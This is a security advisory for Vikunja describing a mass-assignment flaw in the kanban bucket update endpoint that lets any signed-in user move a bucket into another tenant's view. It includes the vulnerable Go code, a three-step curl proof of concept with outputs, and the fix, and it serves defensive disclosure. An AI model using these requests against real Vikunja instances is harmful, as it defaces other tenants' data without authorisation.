GHSA-569v-q83c-3j3g CVE-2026-55067 GO-2026-6307
Vikunja vulnerable to authenticated cross-tenant kanban-bucket relocation via `project_view_id` mass-assignment
- Severity
- 5.0 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.34%
- Chance of exploitation in the next 30 days. Higher than 27.04% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-639 Authorization Bypass Through User-Controlled Key
- Fix
2.4.0- Upgrade code.vikunja.io/api to this version or later
Description
Summary
POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} mass-assigns the request body's project_view_id onto the bucket row. The permission check only verifies that the URL-supplied bucket already belongs to the URL-supplied (project, view) pair; the body's project_view_id is never validated. Any signed-in user can therefore take one of their own buckets and graft it into any other tenant's kanban view, with attacker-controlled title and the attacker's account as created_by.
This vulnerability was found using an LLM, and manually verified against latest (2.3.0).
Vulnerable code
pkg/models/kanban.go (lines 348-359):
func (b *Bucket) Update(s *xorm.Session, _ web.Auth) (err error) {
_, err = s.
Where("id = ?", b.ID).
Cols(
"title",
"limit",
"position",
"project_view_id", // mass-assigned from the request body
).
Update(b)
return
}
Bucket.CanUpdate (canDoBucket) only validates that the URL-supplied {bucket} belongs to the URL-supplied {project}/{view}. The body's project_view_id reaches Update unchecked and is written through.
Proof of Concept
Prerequisites: Two registered users (attacker and victim). In the IDs below: attacker's project is 2, kanban view 8; victim's project is 1, kanban view 4.
Step 1: Attacker creates a fresh bucket in their own project.
curl -s -X PUT 'http://localhost:13456/api/v1/projects/2/views/8/buckets' \
-H 'Authorization: Bearer <attacker_token>' \
-H 'Content-Type: application/json' \
-d '{"title":"PWNED BUCKET"}' | jq '.id'
# Returns: 7
Step 2: Attacker updates bucket 7, supplying project_view_id = victim's view ID. The URL chain is the attacker's, so CanUpdate passes; the body field is written through without further checks.
curl -s -X POST 'http://localhost:13456/api/v1/projects/2/views/8/buckets/7' \
-H 'Authorization: Bearer <attacker_token>' \
-H 'Content-Type: application/json' \
-d '{"title":"PWNED BUCKET","limit":0,"project_view_id":4}' | jq '{id,title,project_view_id}'
# Returns: {
# "id": 7,
# "title": "PWNED BUCKET",
# "project_view_id": 4
# }
Step 3: Victim lists buckets in their own view; the attacker's bucket is now there, owned by the attacker.
curl -s 'http://localhost:13456/api/v1/projects/1/views/4/buckets' \
-H 'Authorization: Bearer <victim_token>' | jq '[.[]|{id,title,created_by:.created_by.username}]'
# Returns: [
# {"id":7,"title":"PWNED BUCKET","created_by":"attacker"},
# {"id":1,"title":"To-Do","created_by":"victim"},
# {"id":2,"title":"Doing","created_by":"victim"},
# {"id":3,"title":"Done","created_by":"victim"}
# ]
After relocation the attacker can no longer reach the row (it lives in the victim's view), so only the victim can delete the graffiti. project_view_id is a sequential integer, so any tenant's view can be targeted by enumeration.
Impact
Any signed-in user can inject arbitrary-titled buckets into any other tenant's kanban view. Most likely exploitation here would be graffiti/defacement.
Fix
In (b *Bucket) Update, drop project_view_id from the Cols(...) allowlist (mass-assignment fix) and reject body payloads where project_view_id != bucket.ProjectViewID. If legitimate "move bucket between views" is a needed feature, expose it as a dedicated endpoint that calls CanUpdate against both the source and destination view.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| code.vikunja.io/api | < 2.4.0 |
2.4.0 |
| code.vikunja.io/api | all versions |
No fix yet |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
code.vikunja.io/api Go → 2.4.0
- go
go get code.vikunja.io/api@v2.4.0 && go mod tidy
Severity breakdown
CVSS 3.1 5.0
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Changed
- Confidentiality
- None
- Integrity
- Low
- Availability
- None
Weakness
CWE-639: Authorization Bypass Through User-Controlled Key
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
How to prevent it
- Architecture and Design: For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
- Architecture and Design, Implementation: Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
- Architecture and Design: Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
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Timeline
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- Last updated by the source
- Latest EPSS score
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| Advisory | Severity | Why it's related |
|---|---|---|
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| GHSA-fmmf-xq98-g327 Vikunja: Write-level project members can delete admin-tier link shares through an unloaded permission check | Medium | Also affects code.vikunja.io/api |
| GHSA-pjr3-86v4-5p7w Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0) | Medium | Also affects code.vikunja.io/api |
| GHSA-hjx8-qv73-f7cm Vikunja: Webhooks and link shares survive every revocation path, so a removed collaborator keeps a live feed | High | Also affects code.vikunja.io/api |
| GHSA-fprf-r6rv-xg99 Vikunja: Saved filter creation with an empty filter string recalculates task positions across all tenants | Medium | Also affects code.vikunja.io/api |
| GHSA-4hv6-xc92-j86g Vikunja: WebSocket authentication ignores server-side session state, so revoked sessions keep receiving live pushes | High | Also affects code.vikunja.io/api |
| GHSA-w2ch-4xgr-22ww Vikunja: Task relation deletion does not check read access to the other task, allowing cross-project relation removal | Low | Also affects code.vikunja.io/api |
| GHSA-8wvg-r2j4-3737 Vikunja: Assignee email addresses disclosed to read-only project members via the task assignees endpoint | Medium | Also affects code.vikunja.io/api |
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